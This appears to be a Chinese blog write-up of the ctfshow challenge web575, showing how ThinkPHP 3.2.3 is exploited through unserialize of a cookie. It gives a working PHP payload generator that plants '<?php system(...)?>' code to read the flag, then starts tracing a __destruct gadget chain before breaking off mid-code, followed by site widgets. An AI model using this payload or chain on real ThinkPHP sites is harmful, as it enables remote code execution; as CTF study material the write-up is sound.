ctfshow ThinkPHP篇575

本文详细探讨了如何利用ThinkPHP3.2.3的反序列化漏洞进行代码执行,包括构造payload绕过条件,以及通过报错注入实现数据库操作,如执行SQL、写入文件。同时,提到了利用堆叠和多语句执行来提升权限,甚至可能构造恶意MySQL服务器进行远程控制。

web575

给了源码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
   
   
	$user = M('Users');
	$user->find(intval($id));
	cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:

<?php
namespace Home\Controller{
   
   
class IndexController {
   
   
    public $id='1';   //get传入的id也要相同
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
   
   
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

bp抓包修改cookie
在这里插入图片描述
当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php在这里插入图片描述
接着全局搜索function destroy(

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
在这里插入图片描述
全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName是可控的,但是后面拼接了个空字符,当我们给$this->sessionName赋值数组,接着拼接上空字符串就会出问题了。

<?php
$a=array(
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值